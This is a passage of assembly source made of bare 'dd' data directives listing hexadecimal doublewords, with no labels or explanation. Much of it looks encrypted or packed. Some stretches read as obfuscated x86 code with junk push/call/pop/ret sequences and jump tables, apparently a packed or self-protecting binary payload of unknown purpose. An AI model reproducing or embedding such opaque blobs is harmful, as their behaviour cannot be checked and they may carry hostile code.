3CEA0B00h, 16C91A7Ah, 0BA124580h, 0F2015BF5h, 0C022F462h dd 196FF523h, 0EC2802A5h, 69C58FBDh, 3260FD2Ch, 42805A7Bh dd 821FE917h, 0C91A86C8h, 0F89BFF16h, 14B1E41Eh, 0C2597BE6h dd 9DB25685h, 0CA910938h, 37154BF0h, 0D49ECCFBh, 0C2A7D572h dd 8F275588h, 16CC99FDh, 0A9D70241h, 4A78ABE5h, 247AFB5Ah dd 8A1A5B7Eh, 0D3001D50h, 5D8BBEF9h, 0D210F693h, 77B579A7h dd 1E5A1E4Ch, 0BEFDC1EFh, 9EED6593h, 0E03FC7D7h, 0A6D10F95h dd 0BBEE2903h, 7F26C38Dh, 0CB56F0A0h, 0C90AE440h, 0DA0946A2h dd 391C3Dh, 0C2E20000h, 0D8B25588h, 77416F9Ah, 3D1722DAh dd 0FA33D003h, 0E18F32A2h, 1C321ED8h, 0B5F9A75Eh, 39132016h dd 62DB12C3h, 8A1682Ah, 476A78A6h, 17552F2Eh, 2F694FECh dd 7BB1DFFCh, 0B3960A1h, 84BEA441h, 1A1C6210h, 2CA216C9h dd 55F827CAh, 0D3FE3D2Eh, 0FE671E22h, 3A92A961h, 376594D0h dd 0D8063973h, 0E1FBAC0Eh, 0C46405h, 0F5A346A8h, 1C326328h dd 0F52340B6h, 1A5196Fh, 0A17BE4F0h, 0B49A3762h, 1A3477Ah dd 1E82A5D4h, 0B43AE619h, 17C9E917h, 2943CFCBh, 2Fh, 0A5196FEFh dd 65A17B01h, 0A13E0836h, 1A80C674h, 0E9C316C9h, 854F7DACh dd 0EC9006E8h, 85C2597Bh, 389DB256h, 57F41F5Eh, 3DCA29h dd 6F0A0000h, 7B01A519h, 0C91A89CDh, 5A80C16h, 91BFEE2Bh dd 22D6BC7h, 3F6D0AD4h, 2F424C7Bh, 41AAA3A3h, 7EAEF09Eh dd 0BA3016C9h, 0C2CEF01Dh, 7BB25685h, 0DC3863A1h, 7C46749Bh dd 0C26ED4DFh, 0D8B25588h, 753F6D9Ch, 3B1520D8h, 0DBA5D3FAh dd 1AC48A38h, 54CA16C9h, 998BFDB7h, 5E8116CCh, 20538D17h dd 3E67A37Dh, 0DCA6D4FFh, 936DD7Ah, 99C7EE2Fh, 124C32CFh dd 0CCA6B1DFh, 3373218Dh, 0BB16CD9Bh, 4887E345h, 0EF47801Dh dd 0E1BBDC7Fh, 814B79A0h, 9CC12AE4h, 9F151C36h, 68265582h dd 2A1C183h, 6FF422BFh, 7B01A519h, 1AEAAC5Ah, 369B16C9h dd 43739588h, 0AE4BC119h, 1CCAEBF6h, 16C9675Ah, 2351EE64h dd 3366A17Bh, 4376B096h, 0C9D3019Fh, 43CFCB17h, 22FFEE1Dh dd 0F8524A4Eh, 8E2B8DBCh, 1C6Dh, 196F3300h, 0CD7B01A5h dd 16C91A89h, 7BFB9F15h, 5685C259h, 0CA379DB2h, 2Eh, 0A5196F0Ah dd 0BFEA2802h, 648FCD91h, 6D0A6C36h, 89CD7B3Fh, 0C16C91Ah dd 597B04A8h, 0B25685C2h, 3A67A17Bh, 0D49ECCFFh, 0DD7A4472h dd 4C7B6CD2h, 7A648E81h, 0E7691A71h, 2F344682h, 97D1B754h dd 0EA9E3664h, 0E216CCF1h, 0B4EEB6BFh, 0C504DE81h, 0FFA26C9Ah dd 0CDF30D51h, 7E1B9116h, 84B7F1D7h, 77E73F56h, 4105B3D4h dd 4D16CDF3h, 0E417BD7h, 4C7916E0h, 36C1E59Eh, 8EAB211Ch dd 0A5196F60h, 0C2E4F001h, 0C7740688h, 218D7BC5h, 0D4011BBFh dd 31029AA5h, 6F0C1F0Eh, 0CB17C941h, 482943CFh, 0EF000000h dd 2A5196Fh, 90BEE928h, 315F92CCh, 3A680567h, 3467A17Bh dd 0D8034206h, 0E17EE0AAh, 1A4006B4h, 0DE4E16C9h, 3D48769Dh dd 0C91ACF8Fh, 0F759CF16h, 9ADA4346h, 79DBF73Dh, 0C2597BD5h dd 9DB25685h, 32CA37h, 6F0A0000h, 7B01A519h, 0C91A89CDh dd 0B9670C16h, 16C91AF5h, 5F8DB4F5h, 65C73D95h, 7B597BC1h dd 1AEAAC5Ah, 7EF416C9h, 8FBEFBE1h, 62A17BEBh, 298F9A37h dd 87224C7Bh, 0BDEB1E58h, 0F51342F3h, 74AE9431h, 0A4FC1341h dd 4F709134h, 0C934DDA1h, 217A8816h, 47D305D3h, 22DC79EFh dd 1C327451h, 89C2DF55h, 701EC131h, 19DAC234h, 0F1A48BEh dd 2AC7FA35h, 34D70A44h, 51EE1D5Ah, 578AC4AAh, 10C09129h dd 7D98184Ah, 20E8AE5Ch, 80F6174Bh, 0DDC7AEE3h, 6D5370A3h dd 0ED20033h, 23FDA0D3h, 0BE88B6E9h, 0E856921h, 0D0033D67h dd 6093CDB3h, 37632h, 0A1B60000h, 5B82C233h, 0FC2F692Dh dd 0A0CB0ACEh, 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h dd 0D2013E02h, 75A4E0A4h, 89568647h, 4C681E6h, 83000000h dd 348704EEh, 2C895C24h, 52E46824h, 0C890000h, 0E1895124h dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 397F6855h dd 0D15D6527h, 25C581E5h, 893BA119h, 242C8BE9h, 4C481h dd 8B540000h, 0C4812404h, 4, 79D268h, 240C8900h, 8B08408Fh dd 89562404h, 4C681E6h, 81000000h, 4C6h, 24348700h, 2434FF5Ch dd 4C48359h, 0F9EB4AE9h, 0F34E59FFh, 4877047Ah, 0CA72ACFh dd 2DB8763Fh, 305EF94h, 37E0FFC5h, 1D5D6DF4h, 2A7B7863h dd 0AD732F5Ah, 575F44DAh, 6610F77h, 523A1D8h, 8A320C8Eh dd 804AFEA2h, 8D56BB17h, 0EF95D28Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 506430B0h dd 0F87EBE87h, 4CCA8040h, 26558D89h, 0C7F805E9h, 0E9080585h dd 6F9805h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 9C156A14h, 6830044Dh, 0C7F5543Ah dd 0E9163D85h, 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 546E8CF6h, 1CEEC6F8h dd 0FFFBB70Fh, 0E92839B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0A5BE9C90h dd 0EE8h, 0B30C7B00h, 0B35A4CFBh, 27622DE9h, 0FD12F87h dd 685h, 21858900h, 5B05E92Bh, 0BC595FFh, 850B05E9h, 5E926F9h dd 95FF006Ah, 5E91E95h, 7CEBC08Bh, 0A911ABD7h, 4687E86Ah dd 2CDC8D5Ch, 0C83AA411h, 562B9CCBh, 5F3EB7D2h, 0B5B9AFCh dd 5B981C6Bh, 6213BFB1h, 1EB9A71Dh, 4A02587Eh, 8BDD6C00h dd 0AF0E626Ah, 1EC0128Fh, 86EC89E7h dd 10B81F42h, 7CC1F0A0h, 0F5561425h, 0F8051CE6h, 6E0BEB1h dd 254FC7C8h, 0A87921C5h, 0ED976B14h, 6D8D9DAh, 6FF40570h dd 738149FDh, 4D5212E1h, 74FF946Ah, 9A7C204Eh, 0F737F8DBh dd 6B01B372h, 11E8h, 0F3FC0600h, 146CE9C0h, 0A2F06B9Fh dd 8649A834h, 0B6B044C5h, 6860F5Eh, 23000000h, 0E92AC98Dh dd 35C68105h, 0B600005Ah, 0A4F6BF47h, 0F781098Dh, 98DB2A9h dd 36FFCF8Bh, 0AE9h, 0F5974300h, 944B4F6Dh, 5B0A6DBEh dd 3598D31h, 0EB8105E9h, 0C73D563h, 1E658D8Bh, 0F38105E9h dd 4961DF5Dh, 19B58501h, 0C38105E9h, 11D5E7D7h, 89C28B66h dd 0ED8D011Eh, 8105E90Dh, 9875DBEEh, 3C2814Bh, 8163B8EAh dd 9875D7C6h, 8B66604Bh, 4F61F9F2h, 14850Fh, 85B80000h dd 0E94BCF52h, 1Eh, 31A16BFEh, 34B337D4h, 8E0F697Bh, 3 dd 0E9CFB70Fh, 0FFFFFF7Eh, 3334212h, 8D8DEE2Ch, 5EF97B6h dd 502EE081h, 8D892BE2h, 5E92655h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0B8C35646h, 0E8C593E2h, 12h dd 0E4EA94D7h, 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h, 8B66A1A8h dd 81665FFEh, 0C7BCC9EBh, 0E9080585h, 5EA005h, 96D28100h dd 0C771DC2Fh, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0BDB5FFDFh dd 0F505E904h, 0BC595FFh, 858905E9h, 5E90561h, 95FF006Ah dd 5E91E95h, 69EBC08Bh, 351CF66Bh, 11E8C4AAh, 0ED2268C8h dd 253A3B77h, 0C7553C42h, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch dd 8FB03FF6h, 0F1A3AC0Dh, 7E5B7F58h, 5D6F5473h, 2AC9250Bh dd 6BC9C491h, 840491EAh, 0FE47CFFBh, 0EC9E1995h, 84EC472Dh dd 3BBF49A3h, 91671DA2h, 307695Fh, 2AB32DA0h, 0F322BE63h dd 9101192Eh, 3D7FEAD1h, 0F61C49EEh, 0AE8CFh, 0B7590000h dd 0BB80666Fh, 758B56B2h, 5BF9B70Fh, 6765BF66h, 5BC6C381h dd 0AE80000h, 5D000000h, 2A605B39h, 80F677F2h, 0CBBE5FABh dd 0E9000016h, 0Ch, 20C1EC32h, 0E0CB8CE9h, 3509004Dh, 0DA81038Bh dd 13609184h, 251AE881h, 0FB8B42ABh, 7532E881h, 870F3999h dd 3, 81D18B66h, 0B9BE31E8h, 9E95Eh, 242E0000h, 6B0D1C6Eh dd 5050160Eh, 123D8D03h, 38F05E9h, 4850Fh, 0BF660000h dd 0EB83A9FBh, 9D895604h, 5E92A79h, 1EE835Fh, 0FFA6850Fh dd 0B531FFFFh, 5E9114Dh, 99A58D8Dh, 6A05EFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B56C3h dd 5E92CFDh, 26558D89h, 9D8905E9h, 5E92759h, 0EE7C50BAh dd 585C746h, 9005E908h, 6A000059h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6D81C351h dd 0B80C1223h, 11496DF7h, 30CADB81h, 8D894A77h, 5E92EA9h dd 163D85C7h, 5E9h, 0AE80000h, 1C000000h, 8A5A4D42h, 701E336Fh dd 95015A0Dh, 5E930E5h, 3F5B5FFh, 0F28005E9h, 0C595FF82h dd 6A05E90Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C8BCC356h, 8DD50B2Dh, 0E97889BBh dd 0Bh, 911DBCB1h, 961D0BD5h, 6A24502Bh, 9595FF00h, 8B05E91Eh dd 0A20DEBC0h, 0F8A7A677h, 0B4326F23h, 0B9C348CBh, 9AD08D8Dh dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 3280A7C3h, 0F5214CFh, 682h, 0F9958900h, 5F05E904h dd 26558D89h, 9E905E9h, 0A0000000h, 5E0DE1B4h, 12156801h dd 173D9D89h, 85C705E9h, 5E90805h, 7250h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DDC35646h, 0D99A4A1Ch dd 0C7CB3C18h, 0E9163D85h, 5, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0A8E99B3h dd 10E90Ch, 0AE130000h, 3F062128h, 178F5A80h, 1291F050h dd 8166FF22h, 0FFA092EEh, 0E9326DB5h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0F8BF0FC3h, 0BC595FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 5C8B6FC3h, 0DE80B640h dd 0E08166F7h, 6A5DFDh, 1E9595FFh, 0C08B05E9h, 49E549EBh dd 0F271A19h, 5BB442EDh, 0D82379Dh, 4F03D01h, 0D76BD4B5h dd 0B41C6792h, 87E3F30Dh, 48A94F9Bh, 96A85B41h, 0FAD9DC88h dd 64EC2771h, 8DD3329Ch, 6C969D9h, 68AF9117h, 21AF0083h dd 0EB95E0C3h, 99820BC4h, 0E824469Fh, 0Bh, 7CFC6952h, 0C0E93CD6h dd 0F64844Fh, 895FC0BFh, 0E9243995h, 51C78105h, 8B000065h dd 0E9077D85h, 192BB905h, 0BA660000h, 1F8B754Dh, 6558D89h dd 0F38105E9h, 14EE810Eh, 2571BD89h, 0C38105E9h, 22625CFFh dd 0EC381FCh, 607099D8h, 28B99D89h, 0BA6005E9h, 6E9AE113h dd 0C3B1BB66h, 1F896161h, 0B5E68166h, 1EF83DCh, 0AE8h dd 0E12B8D00h, 0BBCB65DAh, 8B3B535Fh, 0E92C1D85h, 4F4F5A05h dd 0C8BE534Fh, 5A202D7Bh, 1E981h, 850F0000h, 0FFFFFF96h dd 0AE8h, 0E1D66B00h, 595F011Fh, 0BA80C8B9h, 3D436A02h dd 908D8D5Eh, 6A05EF9Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 151BC350h, 1F519589h dd 8D8905E9h, 5E92655h, 80585C7h, 641405E9h, 0BD890000h dd 5E90D29h, 163D85C7h, 5E9h, 11E90000h, 0A1000000h, 10D1F7ACh dd 7B3C2883h, 0CD4E8B91h, 0BF1F1FBFh, 321DB5FFh, 6A05E9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 91B0C1C3h, 0A1D80A52h, 0BC595FFh, 6A05E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F2D389C3h dd 34426D66h, 66609A88h, 8BBD42B9h, 0E92EA585h, 6A6105h dd 1E9595FFh, 0C08B05E9h, 0C3660EEBh, 0A705F5BFh, 0FEEAF651h dd 0FF7DE742h, 9D4C8D8Dh, 895105EFh, 0E9054195h, 8B665F05h dd 558D89D9h, 305E926h, 0E91D999Dh, 585C705h, 6405E908h dd 0F000073h, 583h, 0D6816600h, 85C70BF0h, 5E9163Dh, 0 dd 13F28166h, 6850F2Ch, 29000000h, 0E902899Dh, 55B5FF05h dd 6A05E923h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0AAE5C352h, 0C595FFD4h, 6A05E90Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 2B52C357h, 0F62EA6FCh, 0F08B919h, 0BE66DEBFh dd 6A6A17h, 1E9595FFh, 0C08B05E9h, 2ACF5AEBh, 763F0CA7h dd 2E88482Ah, 0B1A956E0h, 5E67F41Dh, 0EF4A5B7Bh, 5CED99A0h dd 84D35BC2h, 0B4D13398h, 3BC974A0h, 0BD67A944h, 6B90E018h dd 53FC66A3h, 0B003F86h, 664EE9Eh, 7DA98A44h, 4D7E0D01h dd 0C208153Eh, 80BA764Fh, 4DCD444Fh, 0BD91B50Bh, 674C1612h dd 3CFD0866h, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 8F32139h dd 13FEE9h, 0A0716800h, 8CE905EFh, 68FFF9E1h, 5EFA199h dd 0F9E182E9h, 0A25368FFh, 78E905EFh, 68FFF9E1h, 5EFA392h dd 0F9E16EE9h, 0A43668FFh, 64E905EFh, 68FFF9E1h, 5EFA50Bh dd 0F9E15AE9h, 0A5CB68FFh, 50E905EFh, 68FFF9E1h, 5EFA699h dd 0F9E146E9h, 0A73C68FFh, 3CE905EFh, 68FFF9E1h, 5EFA893h dd 0F9E132E9h, 0A97368FFh, 28E905EFh, 68FFF9E1h, 5EFAB16h dd 0F9E11EE9h, 0ACC368FFh, 14E905EFh, 68FFF9E1h, 5EFAEF6h dd 0F9E10AE9h, 0AFEC68FFh, 0E905EFh, 0CCFFF9E1h, 6248658Ch dd 0F4DAF726h, 856B88B7h, 14FA174Ah, 8A8EABD6h, 0F9246258h dd 8EB5F6DCh, 214C8B71h, 0B1E41E04h, 38E6C794h, 13268476h dd 0C2411F78h, 63275588h, 5F8BA729h, 0F7E51922h, 0E73F7895h dd 0AD0F427Dh, 6DD35C0Ah, 0E1101C32h, 0F02D3749h, 18C993C1h dd 0DAA59E2h, 0EF87B52Bh, 132089D3h, 0B9F28324h, 45264017h dd 0B5E823FDh, 75F718h, 8FBE0000h, 0AEDB5570h, 214FEC03h dd 4A7176Fh, 62BEED2Ah, 0CAF823h, 3B153663h, 0D59FCD00h dd 29657E38h, 27561C32h, 8DCC0B24h, 0B96A3462h, 801DC17Fh dd 62FA289Eh, 13205960h, 48F666A2h, 13205906h, 82B01288h dd 621084BEh, 1320591Ch, 9CCA2CA2h, 6A3441B8h, 54906A03h dd 5DBFEE2Bh, 6BFD162Fh, 7AC554Ch, 0A2D308A5h, 26304709h dd 0D25945h, 0C21F0000h, 479D0688h, 9B0A4CFAh, 1E9416C9h dd 0C92C626Dh, 16DC4C0Dh, 82E4464Bh, 27529054h, 0B56C5584h dd 96C4F330h, 0F3F81BCCh, 8145FD9Ah, 22E61447h, 6B98B5E8h dd 39E75391h, 16C95F75h, 73A10379h, 0B9520CA9h, 0F916C952h dd 896F8CBFh, 0B7E6224Fh, 0BA5DBF89h, 4977A2E0h, 132AE27Fh dd 0E51451BBh, 0E88BEDB7h, 31B1813Ah, 425FD51Ch, 9E41B109h dd 0C6F7EEF0h, 0BAB7019h, 0D4C79A02h, 0B6903395h, 4A304D78h dd 62B0E10Ch, 0F16F7216h, 112B3DF9h, 11510000h, 0ABE7CDEAh dd 3C795F7Ch, 0CF0AF00Dh, 5B997F9Ch, 0D30F1330h, 617EA9E7h dd 0F6133A7Bh, 89A6D110h, 193669A3h, 0F9BD6B4Ch, 51326BAh dd 84C2CEACh, 350F3C59h, 482ECBF6h, 90BEDB0Eh, 3467A17Bh dd 669F3C06h, 4DFB9E0Eh, 1C322954h, 0D3518D67h, 5453CBE0h dd 6694F6A2h, 0A71DFF9Ch, 0C8E92A04h, 5DFA5C8Bh, 0FF350DA5h dd 0A1421320h, 3209D7D4h, 0F9274526h, 0ED000000h, 0DECA4C7Bh dd 23B7B29h, 4DC316C9h, 0E42E309Ch, 0F4276147h, 47042251h dd 1345A495h, 7CF7A684h, 1FBC1E12h, 44825C67h, 58967C19h dd 9267FF2Dh, 9916C95Bh, 5584CA78h, 940A16C9h, 0A4D711F7h dd 0BFE62701h, 832AC791h, 0C7873556h, 0C716C955h, 8DB4F551h dd 12F8955Fh, 6C77A5D8h, 89265592h, 0E588F850h, 555016C4h dd 0E85E16C9h, 0DB701E4Bh, 0D01C31B8h, 76BD01AFh, 0CB411320h dd 0A0DC4C2Eh, 17794371h, 0F969C1FAh, 0E915A856h, 0E75D19C6h dd 0E492344h, 4977A2E1h, 9A801D7Fh, 2E14315Ch, 4C94C5F0h dd 1B6F718Fh, 10036723h, 0E9290000h, 83BFA5C2h, 14513754h dd 0A7E2C8E5h, 33715774h, 0FBE7EB08h, 395681BFh, 0CEEB1253h dd 617EA9E8h, 0F10E417Bh, 0D1954324h, 0DD1326BBh, 84C2A684h dd 0EE0F3C59h, 0C91A7E40h, 6D0A8016h, 771A4D87h, 7355C9Dh dd 0CBF9A03Dh, 275588C2h, 0D9F62963h, 6497D2ACh, 75A4E1C7h dd 16498347h, 0B7F2CCF9h, 1C3E784h, 57FA6AC2h, 321C44A9h dd 0E5148A1Ch, 0A607724Fh, 75E53D6Bh, 134F24D2h, 2197EE51h dd 3C63A47Eh, 0EFA7440Eh, 0A2C90AE4h, 474CC05h, 71DCB361h dd 0B026EBBFh, 77F9330Dh, 0DD828CCBh, 194081A9h, 5DBF21EBh dd 0ED205A40h, 0E0162BCh, 3DF9F17Dh, 0F49h, 0EB082F6Fh dd 7D9AC905h, 0E2B5A97h, 9DBAED28h, 314E79B7h, 0BFFDB52Dh dd 50917794h, 0E7260C29h, 7FB99FBCh, 81622F4Ch, 26B893D3h dd 0E4C21B13h, 820688C2h, 243DDB30h, 0B8CFFD5Fh, 9F4DF060h dd 1C310EBEh, 48A13B00h, 0DD8D3F24h, 0CD255E7Bh, 0A70CBA5Dh dd 0FF19DB1Ch, 76505B89h, 18DC0A39h, 0B680AED9h, 5C5CA354h dd 0A444F6EFh, 0A8754D07h, 0E18216C9h, 65491794h, 626740CFh dd 2E000000h, 0FC8F51FFh, 0C360123Ch, 0A7176F95h, 5C395604h dd 0B3A1C32h, 0CFF9FEAAh, 98DE8C96h, 26132005h, 0CFB14EB0h dd 9DDCB659h, 7285572h, 20051559h, 80239913h, 20058CD2h dd 0FF9C1213h, 20050345h, 0D5498313h, 20056727h, 8FF16713h dd 2E6B4572h, 0D30DD1FFh, 0BBA13EA0h, 6723517Ch, 0E69h dd 0A7176FA7h, 0ABDF5604h, 0ED631C33h, 336704Ah, 93C600E6h dd 8B395A65h, 132684CBh, 3AC5DD3h, 0F2B4A21Ah, 267EB754h dd 0CD6513B6h, 1919DCE9h, 0EC2600A3h, 7CB69CB9h, 90CCA649h dd 0CC693361h, 35A5FD14h, 0C56FE492h, 32F71C32h, 0C75FD9EEh dd 2339534h, 698AE4AEh, 0AEDA9A1h, 3000000Eh, 0C6ACC9F0h dd 583E5B8Ah, 0E9CFEC1Bh, 785E7BAEh, 0EEF20F3Ah, 5580BEF4h dd 0EA115238h, 7DA8E7CDh, 0D407A60h, 944223F0h, 1326B9D2h dd 0EEA583DCh, 16C91AD4h, 0A3CE0DE7h, 0B75CD06h, 98A4ED0h dd 0E75F8563h, 5F802385h, 0EF1D4485h, 7CCE8825h, 0BA1C3335h dd 550FE6F5h, 142161Eh, 80E2ACDAh, 0FB6F2FDDh, 0F96F1326h dd 0E01AF497h, 70AA90ADh, 956B9A3Dh, 8975B830h, 0ABC27A17h dd 6640E353h, 9BC60425h, 4E6F9C39h, 9E0C2F1Fh, 7C193243h dd 0DE029DC2h, 3A6BE119h, 6F6D9994h, 661FDBD3h, 8C00000Dh dd 2208254Ch, 0B49AB7E6h, 452B4877h, 0D4BAD70Ah, 4A4E6B96h dd 0B9E42298h, 4E75B69Ch, 0E10C4B31h, 71A4DEC4h, 0F8A68754h dd 1326BEB6h, 7B01DF38h, 0F93A67A1h, 78DAA4D2h, 0FDE3804Ah dd 9E6290C3h, 3F033164h, 0E2A6D403h, 824674A7h, 0B8071746h dd 0A2B9E1BDh, 1A93D381h, 0A51B16C9h, 0BBA2D308h, 0D774A7E1h dd 0CFD328F8h, 7354840h, 6F0E0000h, 0E304A717h, 6AA4CD09h dd 0DD3F0937h, 0AD818640h, 178D1C33h, 0A5BC4574h, 0F82B5A8Bh dd 330D2E5Bh, 482ECBF2h, 91BEDB0Eh, 0AC497CB7h, 2B598CC6h dd 2677AF93h, 0DD5D8C13h dd 0CA8C3A4Bh, 0D41326D7h, 4ABCAD5Eh, 0BF146C0Bh, 33955687h dd 95055D96h, 2E6344F2h, 35AB19DEh, 6D6D4404h, 0FFBBB36Fh dd 0C91h, 335077B7h, 0C5E2114Dh, 5673A2DFh, 0E5023570h dd 7996C1FFh, 7456D75h, 98D9BFDCh, 2F6E5471h, 0C701E704h dd 0C9AA7794h, 26BF5B1Bh, 2C0A6313h, 0EAAC5A7Bh, 0F416C91Ah dd 0C1FBE17Eh, 3DEB5394h, 16C91A79h, 7FAD0F85h, 612553B5h dd 4105B327h, 4D16C91Ah, 0F8D275D7h, 37EF8CBBh, 70ED88A7h dd 1CC2CD41h, 8320E07Ch, 0CF82FCA4h, 65DF440h, 0EEBA0000h dd 16C91AD4h, 701383DBh, 902D5896h, 0ACF0B563h, 39FE1C33h dd 33F4E555h, 4CEF51C4h, 0E514512Bh, 0F5286248h, 577CABD8h dd 7E9BF6DEh, 447E6401h, 4AACDB17h, 3DAD051Ch, 45CBEC9Ah dd 9D1319DEh, 6DD2BA6Ch, 6521196Fh, 0BD1h, 7390B7F7h, 522518Dh dd 96B3E21Fh, 254275B0h, 0B9D6013Fh, 47852DB5h, 0D819FF1Ch dd 6FAE94B1h, 7412744h, 9EAB7D4h, 26BF1B5Bh, 6C4AA313h dd 661488C2h, 16C91A20h, 0A8D638AEh, 5C36AAE4h, 0FEC0F01Fh dd 16C91Ah, 36FA288Ah, 0D69AC8FBh, 0C73F6D98h, 79A1FD78h dd 0C0901B5Ah, 0E040CFD3h, 5ABh, 66176FA6h, 0C91AF6B8h dd 0A033F816h, 0BEA51345h, 0A30567h, 4E10BEDFh, 4C16C960h dd 0EAB4E20Dh, 0C57F1C92h, 1C33D69Bh, 2C06A91Fh, 0BCA2BFF2h dd 0C9F80082h, 103E6DAAh, 192B9546h, 12EC8FF1h, 0F5B967D3h dd 0F91326CDh, 29F32183h, 63CD48Ch, 291326CDh, 10BE61D1h dd 19DE2B2Fh, 3CC8F96Fh, 836F6D70h, 0B03CF8Bh, 0E9290000h dd 83BFA5C2h, 14513754h, 0A7E2C8E5h, 33715774h, 0FBE7EB08h dd 395681BFh, 0CEEB1253h, 617EA9E8h, 0F10E417Bh, 0D1954324h dd 0DD1326BCh, 88C2A684h, 29632755h, 2C8EC1FCh, 4372AF89h dd 3F5EEEA6h, 0D3AB7536h, 0F4C540CFh, 8B000004h, 0C91AA9EEh dd 1686DE16h, 0AD36C573h, 2311C33h, 0C3A50E54h, 2A0CA9F8h dd 0C1F011B4h, 49F7A61Ah, 13261A05h, 26621389h, 0C3A9466Ah dd 53395689h, 0A1B8E619h, 8836D949h, 19DDB547h, 6A9DD747h dd 0BD5519C7h, 0E35916CFh, 0C2B25081h, 29216F6Dh, 0A606Dh dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h dd 0BDA4EA98h, 0D12A1326h, 5588C2F3h, 0F6296327h, 0FC79D8C8h dd 1E3B6EA8h, 0ABDA17F1h, 0D7612F0Eh, 867F40CFh, 46000001h dd 6401306Ch, 5588C236h, 0F6296327h, 96D2ACD9h, 0D402316Dh dd 0B07AA80Ah, 0D182DA13h, 0C91A6323h, 93F56B16h, 23B542F0h dd 43B91C32h, 5D88C6A0h, 14C2652Fh, 13200C52h, 9149E65Ch dd 200CC9F9h, 0E88D2E13h, 26C51DC3h, 2E1345h, 7BD90000h dd 8A34BB4Ch, 0E68336D5h, 42E555ADh, 322B8F94h, 5381F71Ch dd 5306E48h, 994AE68h, 42E31320h, 0C4A87833h, 0E8C84526h dd 8E000000h, 3A1488C2h, 0DAA4D2F9h, 0C91AE4AAh, 1274EA16h dd 0C0FFD9E4h, 0FF2D609Bh, 5036D335h, 0F5B9E712h, 0B6E588BBh dd 97448C5h, 0F02F8BEFh, 0AC7028C5h, 0F5223F72h, 326026D4h dd 752316C9h, 16C93231h, 79EF47BDh, 0D75922DCh, 1F5916C8h dd 9543B7F2h, 16C919D1h, 0D70567DDh, 0E708AB0Dh, 70A0D30Dh dd 16C9192Eh, 0D20540B0h, 0DB78DAA4h, 33A3FB34h, 87F1E290h dd 0BF351C2Fh, 0D904421Ch, 6D98D6BCh, 88B4A43Ch, 0EFABA369h dd 909h, 0ABC8EF2Fh, 3D5A89C5h, 0CEEB1A57h, 5D7AADE8h dd 0F10E3977h, 7FBDF5EDh, 10513754h, 0A7E6CCE9h, 3F795F7Ch dd 4122EF0Ch, 26B2D393h, 0A482DB13h, 3C5984C2h, 0C8FB350Fh dd 0D4022D6Ch, 4D876D0Ah, 0B52756CBh, 0E596D8F0h, 6E8619B7h dd 8FAC0E58h, 0D3934162h, 0DB16C98Ch, 0C29AC865h, 83B25588h dd 74FCB5A9h, 0C5F02EEAh, 0CE6BCD97h, 0EB185216h, 1B4684B1h dd 5C3A57B9h, 2CBh, 0A7176F9Ch, 31D55604h, 0EB611C32h dd 21D25BDh, 0C15A1320h, 0E17EA9E7h, 3EE2C9ACh, 324526CFh dd 26Eh, 1AAFEEF8h, 84DC16C9h, 3AC37114h, 841C33ADh, 875F1FCDh dd 0E95F1326h, 0D00AE487h, 609A809Dh, 1AF4FF2Dh, 0B680AEDDh dd 1888E019h, 8B06C775h, 128819DDh, 6DCFF7E1h, 924E466Fh dd 829h, 0CBE80F4Fh, 5D7AA9E5h, 0EE0B3A77h, 7D9ACD08h dd 112E5997h, 9FDDD50Dh, 30715774h, 0C706EC09h, 5F997F9Ch dd 61420F2Ch, 26B3F3B3h, 0C4A2FB13h, 0B25588C2h, 0D16E99D8h dd 0F6340E19h, 0E482ECBh, 0AFE9ADDBh, 1AC98D3Bh, 5FD516C9h dd 0CC0BCFFDh, 0ACFB73A1h, 0EE4DD5C9h, 94B5D687h, 0C91AA0E6h dd 88B82E16h, 16C91AC6h, 0CFB552C8h, 0FB2E6895h, 